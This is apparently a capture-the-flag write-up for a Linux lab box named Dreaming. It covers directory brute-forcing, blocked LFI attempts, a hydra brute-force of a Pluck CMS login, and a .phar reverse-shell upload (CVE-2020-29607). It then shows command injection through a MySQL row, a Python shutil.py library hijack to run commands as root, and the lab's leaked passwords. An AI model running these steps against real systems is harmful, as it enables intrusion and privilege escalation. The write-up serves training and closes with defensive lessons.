Summary
Dreaming is a Linux box built around a Pluck CMS install. Brute-forcing the CMS admin login gives access to the admin panel, which is then abused via a known authenticated file-upload RCE (CVE-2020-29607) to get a reverse shell as www-data. A leftover automation script hands over a system password for lucien, whose limited sudo rule around a mysql.connector script has a classic subprocess(shell=True) command-injection bug: seeding a malicious row in the backing MySQL table lets us dump the script's source (and with it, death's DB credentials) by having the script echo back attacker-controlled shell syntax. From death, a world/group-writable copy of the system shutil.py module - imported by a root-run backup script - gives a classic Python library-hijack path: injecting a command into shutil.py gets executed with root privileges the next time the backup job (or any root process that imports shutil) runs, letting us chmod the final flag readable.
Attack Chain
nmap -> SSH + Apache, /app/ directory listing -> Pluck CMS 4.7.13
|
Pluck LFI/RCE filename filter blocks direct path traversal + php://filter
|
hydra brute-force of Pluck admin login -> "password"
|
Pluck CMS admin panel -> known CVE-2020-29607 (auth'd file upload RCE, .phar bypass)
|
Reverse shell as www-data
|
/opt/test.py (lucien-owned) leaks a password reused for lucien's system account -> su lucien
|
sudo -u death allowed script (getDreams.py) has subprocess(shell=True) command injection via MySQL data
|
Injected $(cat getDreams.py) via MySQL row -> leaks death's DB password AND death's system password
|
su death -> death_flag.txt
|
World/group-writable /usr/lib/python3.8/shutil.py, imported by root-run restore.py/cron
|
Inject os.system() into shutil.py -> executes as root on next import -> chmod flag readable
|
morpheus_flag.txt
Recon
nmap -A -Pn <MACHINE_IP> -o nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 5c:14:c0:ac:47:41:97:ab:c6:bc:23:1d:6c:93:8e:96 (RSA)
| 256 07:5b:aa:2e:f1:fd:08:fd:85:58:53:50:7a:61:10:58 (ECDSA)
|_ 256 09:06:07:6a:03:31:3b:12:ea:31:2d:12:4c:88:cc:66 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Only SSH and HTTP open. The web root is the stock Apache default page:
curl http://<MACHINE_IP>
<title>Apache2 Ubuntu Default Page: It works</title>
...
It works!
This is the default welcome page used to test the correct operation of the Apache2 server after installation on Ubuntu systems.
...
[default Apache2 Ubuntu boilerplate - no useful content, truncated]
Directory brute-force found an /app/ directory:
ffuf -u http://<MACHINE_IP>/FUZZ -w /usr/share/wordlists/dirb/big.txt
.htpasswd [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 48ms]
.htaccess [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 2620ms]
app [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 42ms]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 37ms]
:: Progress: [20469/20469] :: Job [1/1] :: 975 req/sec :: Duration: [0:00:24] :: Errors: 0 ::
curl http://<MACHINE_IP>/app/
<h1>Index of /app</h1>
<tr><td><a href="/">Parent Directory</a></td></tr>
<tr><td><a href="pluck-4.7.13/">pluck-4.7.13/</a></td><td align="right">2020-01-29 08:55 </td></tr>
Directory listing reveals a Pluck CMS 4.7.13 install.
curl -L http://<MACHINE_IP>/app/pluck-4.7.13/
<meta name="generator" content="pluck 4.7.13" />
<title>dreaming - dreaming</title>
...
<h1 title="dreaming">dreaming</h1>
<h2 title="dreaming">dreaming</h2>
What power would hell have if those here imprisoned were not able to dream of heaven?
...
<a href="/app/pluck-4.7.13/login.php">admin</a> | powered by <a href="http://www.pluck-cms.org">pluck</a>
Vulnerability Attempt: LFI via ?file= parameter (blocked)
Pluck's ?file= page-selector parameter looked like a classic LFI candidate:
curl 'http://<MACHINE_IP>/app/pluck-4.7.13/?file=../../../etc/passwd'
A hacking attempt has been detected. For security reasons, we're blocking any code execution.
curl -v 'http://<MACHINE_IP>/app/pluck-4.7.13/?file=../../../etc/passwd'
< HTTP/1.1 200 OK
< Set-Cookie: PHPSESSID=6bc61nh00ij5f553ob6mr04cih; path=/
< Content-Length: 93
A hacking attempt has been detected. For security reasons, we're blocking any code execution.
Tried a php://filter wrapper to read source instead of triggering the traversal filter directly:
curl -s 'http://<MACHINE_IP>/app/pluck-4.7.13/?file=php://filter/convert.base64-encode/resource=/etc/passwd'
curl -s 'http://<MACHINE_IP>/app/pluck-4.7.13/?file=php://filter/convert.base64-encode/resource=data/settings/pass.php'
A hacking attempt has been detected. For security reasons, we're blocking any code execution.
Both blocked - Pluck has a built-in input filter on ?file= that catches path traversal and stream wrappers alike. Abandoned this path and moved to the admin login instead.
Vulnerability: Weak Pluck Admin Credentials (Brute Force)
curl -s -b pluck-cookies.txt 'http://<MACHINE_IP>/app/pluck-4.7.13/admin.php' | grep -i "logged\|welcome\|admin\|logout"
<title>pluck 4.7.13 - not logged in</title>
<li>not logged in</li>
<div id="content"><div class="notice">You are not logged in! A moment, please...</div>
Pluck's login is a single password field (no username). Confirmed the login endpoint and its failure message:
curl -s -c pluck-cookies.txt -X POST 'http://<MACHINE_IP>/app/pluck-4.7.13/login.php' -d 'cont1=admin&bogus=&submit=Log+in' -L
<div class="error">Password incorrect.</div>
Manual guesses came up empty:
for pass in password 1234 pluck admin123 root dreaming; do
echo -n "Trying $pass: "
curl -s -c /tmp/c.txt -X POST 'http://<MACHINE_IP>/app/pluck-4.7.13/login.php' -d "cont1=$pass&bogus=&submit=Log+in" -L | grep -o "not logged in\|logged in\|Welcome"
done
Trying password: Trying 1234: Trying pluck: Trying admin123: Trying root: Trying dreaming:
(No hits - grep found nothing worth printing on any of these, which is a hint the response wording doesn't match those literal strings; time to automate properly.) Ran it through hydra against rockyou.txt:
hydra -l admin -P /usr/share/wordlists/rockyou.txt <MACHINE_IP> http-post-form "/app/pluck-4.7.13/login.php:cont1=^PASS^&bogus=&submit=Log+in:F=Password incorrect" -t 30 -V
[DATA] max 30 tasks per 1 server, overall 30 tasks, 14344399 login tries (l:1/p:14344399), ~478147 tries per task
[DATA] attacking http-post-form://<MACHINE_IP>:80/app/pluck-4.7.13/login.php:cont1=^PASS^&bogus=&submit=Log+in:F=Password incorrect
[ATTEMPT] target <MACHINE_IP> - login "admin" - pass "123456" - 1 of 14344399 [child 0] (0/0)
...
[80][http-post-form] host: <MACHINE_IP> login: admin password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-08-10 12:20:30
Password is simply password. Confirmed:
curl -s -c pluck-cookies.txt -X POST 'http://<MACHINE_IP>/app/pluck-4.7.13/login.php' -d 'cont1=password&bogus=&submit=Log+in' -L
<div id="content"><div class="success">Password correct. Logging you in...</div><meta http-equiv="refresh" content="1; url=admin.php?action=start" />
Vulnerability: CVE-2020-29607 - Pluck CMS Authenticated File Upload RCE
searchsploit pluck 4.7.13
Exploit Title | Path
-------------------------------------------------------------------------------|---------------------------------
Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated) | php/webapps/49909.py
Confirmed the technique via public writeup (loopspell.medium.com/cve-2020-29607) - Pluck blocks .php uploads by extension, but the block can be bypassed by uploading a .phar file (still executed as PHP by the server) containing a reverse shell payload.
Manual steps taken through the admin panel (screenshots):
Logged into the admin panel at
admin.php?action=start, opened pages -> manage files.Uploaded a renamed pentestmonkey PHP reverse-shell payload saved as
evil.phar(bypassing the.phpextension filter):
Name: evil.phar
Size: 2588 bytes
Type: applicationoctet-stream
Upload successful!
uploaded files
evil.phar [preview icon] [trash icon]
- Started a listener, then clicked the magnifying-glass "preview" icon next to
evil.pharin the file manager - this requests the uploaded file directly, causing Apache/PHP to execute it server-side:
penelope -p 4443 listen
[+] Listening for reverse shells on 0.0.0.0:4443 -> 127.0.0.1 * <ATTACKER_IP>
[+] [New Reverse Shell] => ip-10-48-167-123 <MACHINE_IP> Linux-x86_64 www-data(33) Session ID <1>
[+] Upgrading shell to PTY...
[+] PTY upgrade successful via /usr/bin/python3
[+] Session log: /root/.penelope/sessions/ip-10-48-167-123~<MACHINE_IP>-Linux-x86_64/2026_08_10-12_43_45-578-www-data(33).log
whoami; id; groups
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
Post-Exploitation - Enumerating Home Directories
ls -la /
drwxrwxr-- 2 root saviors 4096 Jul 28 2023 kingdom_backup
...
ls -la /home
drwxr-xr-x 4 death death 4096 Aug 25 2023 death
drwxr-xr-x 5 lucien lucien 4096 Aug 25 2023 lucien
drwxr-xr-x 3 morpheus morpheus 4096 Aug 7 2023 morpheus
drwxr-xr-x 4 ubuntu ubuntu 4096 May 18 2025 ubuntu
death's and morpheus's flags are both permission-denied to www-data:
cat /home/death/death_flag.txt
cat: /home/death/death_flag.txt: Permission denied
Found a file owned by lucien sitting in a world-readable location:
find / -type f -user lucien 2>/dev/null
/opt/test.py
/home/lucien/.sudo_as_admin_successful
/home/lucien/.mysql_history
/home/lucien/.bash_history
/home/lucien/.profile
/home/lucien/.bash_logout
/home/lucien/.bashrc
/home/lucien/lucien_flag.txt
cat /opt/test.py
import requests
#Todo add myself as a user
url = "http://127.0.0.1/app/pluck-4.7.13/login.php"
password = "HeyLucien#@1999!"
data = {
"cont1":password,
"bogus":"",
"submit":"Log+in"
}
req = requests.post(url,data=data)
if "Password correct." in req.text:
print("Everything is in proper order. Status Code: " + str(req.status_code))
else:
print("Something is wrong. Status Code: " + str(req.status_code))
print("Results:\n" + req.text)
This was written to test the Pluck admin password, but lucien reused the same password for his system account:
su lucien
Password:
lucien@ip-10-48-167-123:/home$ whoami
lucien
lucien@ip-10-48-167-123:/home$ id
uid=1000(lucien) gid=1000(lucien) groups=1000(lucien),4(adm),24(cdrom),30(dip),46(plugdev)
cat lucien_flag.txt
-
Privilege Escalation - lucien to death via subprocess Command Injection
cat .bash_history
ls
cd /etc/ssh/
...
mysql -u lucien -plucien42DBPASSWORD
...
sudo -l
/usr/bin/python3 /home/death/getDreams.py
sudo -u death /usr/bin/python3 /home/death/getDreams.py
...
.bash_history leaks lucien's own MySQL password, and shows the exact sudo invocation he'd already used.
sudo -l
User lucien may run the following commands on ip-10-48-167-123:
(death) NOPASSWD: /usr/bin/python3 /home/death/getDreams.py
lucien can run one specific script as death, no password needed. Can't read the script directly (death-owned, execute-only for others):
cat /home/death/getDreams.py
cat: /home/death/getDreams.py: Permission denied
Ran it as allowed, to see what it does:
sudo -u death /usr/bin/python3 /home/death/getDreams.py
Alice + Flying in the sky
Bob + Exploring ancient ruins
Carol + Becoming a successful entrepreneur
Dave + Becoming a professional musician
It's reading dreamer/dream pairs from a MySQL table and echoing them out. Logged in with lucien's leaked DB password to inspect the table directly:
mysql -u lucien -plucien42DBPASSWORD
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| library |
| mysql |
| performance_schema |
| sys |
+--------------------+
mysql> use library;
Database changed
The script clearly builds a shell command from the row data and executes it (the output format dreamer + dream looks like an echo built from user-controlled fields). Tested command injection by inserting a row whose dreamer field is a shell command substitution:
mysql> insert into dreams values ("evil", "$(cat /home/death/getDreams.py
"> )");
Query OK, 1 row affected (0.01 sec)
sudo -u death /usr/bin/python3 /home/death/getDreams.py
Alice + Flying in the sky
Bob + Exploring ancient ruins
Carol + Becoming a successful entrepreneur
Dave + Becoming a professional musician
evil + import mysql.connector import subprocess # MySQL credentials DB_USER = "death" DB_PASS = "!mementoMORI666!" DB_NAME = "library" def getDreams(): try: connection = mysql.connector.connect( host="localhost", user=DB_USER, password=DB_PASS, database=DB_NAME ) cursor = connection.cursor() query = "SELECT dreamer, dream FROM dreams;" cursor.execute(query) dreams_info = cursor.fetchall() if not dreams_info: print("No dreams found in the database.") else: for dream_info in dreams_info: dreamer, dream = dream_info command = f"echo {dreamer} + {dream}" shell = subprocess.check_output(command, text=True, shell=True) print(shell) except mysql.connector.Error as error: print(f"Error: {error}") finally: cursor.close() connection.close() getDreams()
Confirmed: the script builds f"echo {dreamer} + {dream}" and runs it through subprocess.check_output(..., shell=True) with no sanitization of the DB-sourced dreamer/dream fields. Since it runs as death (via the sudo rule), any value we can get into that table is executed as death. Here it was used purely to cat the script's own source and leak death's DB password (!mementoMORI666!) - the same injection primitive could equally be used to spawn a shell as death directly.
su death
Password:
death@ip-10-48-167-123:/home/lucien$ whoami
death
death@ip-10-48-167-123:/home/lucien$ id
uid=1001(death) gid=1001(death) groups=1001(death)
cd ~ && cat death_flag.txt
-
Privilege Escalation - death to root via shutil.py Library Hijack
Looked around morpheus's home for anything death has access to:
cd /home/morpheus && ls -la
-rw-rw-r-- 1 morpheus morpheus 22 Jul 28 2023 kingdom
-rw-rw---- 1 morpheus morpheus 28 Jul 28 2023 morpheus_flag.txt
-rw-rw-r-- 1 morpheus morpheus 180 Aug 7 2023 restore.py
cat restore.py
from shutil import copy2 as backup
src_file = "/home/morpheus/kingdom"
dst_file = "/kingdom_backup/kingdom"
backup(src_file, dst_file)
print("The kingdom backup has been done!")
/kingdom_backup is root:saviors and death isn't in that group, so running this manually just fails:
python3 restore.py
Traceback (most recent call last):
File "restore.py", line 6, in <module>
backup(src_file, dst_file)
File "/usr/lib/python3.8/shutil.py", line 438, in copy2
copyfile(src, dst, follow_symlinks=follow_symlinks)
File "/usr/lib/python3.8/shutil.py", line 267, in copyfile
with open(src, 'rb') as fsrc, open(dst, 'wb') as fdst:
PermissionError: [Errno 13] Permission denied: '/kingdom_backup/kingdom'
But the interesting part is what restore.py imports it from - checked the permissions on the actual system shutil.py module:
find / -type f -name 'shutil.py' 2>/dev/null
/usr/lib/python3.8/shutil.py
/snap/core20/1974/usr/lib/python3.8/shutil.py
/snap/core20/2015/usr/lib/python3.8/shutil.py
ls -la /usr/lib/python3.8/shutil.py
-rw-rw-r-- 1 root death 51474 Mar 18 2025 /usr/lib/python3.8/shutil.py
Group-owned by death, group-writable. Since any Python process on the box that does import shutil (or from shutil import ..., as restore.py does) will load and execute this file, and something on the box appears to run restore.py periodically/as root (implied by the box's "kingdom backup" premise and the root:saviors-owned destination directory), planting code here gets it executed with whatever privileges that scheduled/triggering process has.
Edited the module directly and added a line at the top (after the existing imports) to make the target flag world-readable:
nano /usr/lib/python3.8/shutil.py
# added near the top of shutil.py, after imports:
os.system('chmod 777 /home/morpheus/morpheus_flag.txt')
After giving it a little time for the backup job/cron to trigger a fresh import shutil as root:
ls -la /home/morpheus/morpheus_flag.txt
-rwxrwxrwx 1 morpheus morpheus 28 Jul 28 2023 morpheus_flag.txt
Permissions flipped to 777 - confirming the injected line executed with enough privilege to override morpheus's own restrictive permissions. (An earlier, more direct attempt - copying a SUID root bash binary to /tmp/rootbash from within the hijacked module - also worked opportunistically once, evidenced by a stray -rwsrwsrwx binary appearing in /tmp, but wasn't reliably reproducible since the target file kept coming back "busy" while in use; the chmod-the-flag approach was the clean, repeatable path.)
cat /home/morpheus/morpheus_flag.txt
-
Key Vulnerabilities
| # | Vulnerability | Location | Impact |
|---|---|---|---|
| 1 | Directory listing enabled on /app/
|
Apache config | Discloses Pluck CMS version/path |
| 2 | Weak Pluck CMS admin password (password) |
/app/pluck-4.7.13/login.php |
Trivial brute force with hydra + rockyou |
| 3 | CVE-2020-29607 - .phar extension bypass on file upload |
Pluck CMS 4.7.13 admin file manager | Authenticated RCE as www-data
|
| 4 | Password reuse between app-testing script and system account |
/opt/test.py (lucien) |
Lateral movement www-data -> lucien
|
| 5 |
subprocess.check_output(..., shell=True) on unsanitized DB fields |
getDreams.py (run via sudo as death) |
Command injection via MySQL row content |
| 6 | Group-writable core Python stdlib module (shutil.py) imported by a root-run job |
/usr/lib/python3.8/shutil.py |
Full root code execution via library hijack |
Lessons / Takeaways
-
Never reuse application-level credentials (CMS admin passwords, API keys) as system account passwords.
lucien's system password being identical to a hardcoded Pluck test password was the entire bridge fromwww-datato a real user. -
subprocess(..., shell=True)with any attacker-influenced input - even data pulled from "your own" database - is a command injection waiting to happen. If the data crosses a trust boundary (user-submitted content, another service, etc.) before landing in the DB, treat it as untrusted when building shell commands from it later. -
File/group permissions on interpreter standard-library paths matter. A
group-writable /usr/lib/python3.8/shutil.pyis effectively a root backdoor for anyone in that group, since practically everything on the system imports it eventually. -
Restrictive
sudorules aren't a substitute for input validation in the target script. Lockingluciento one specific script didn't help once that script itself was exploitable.
Top comments (0)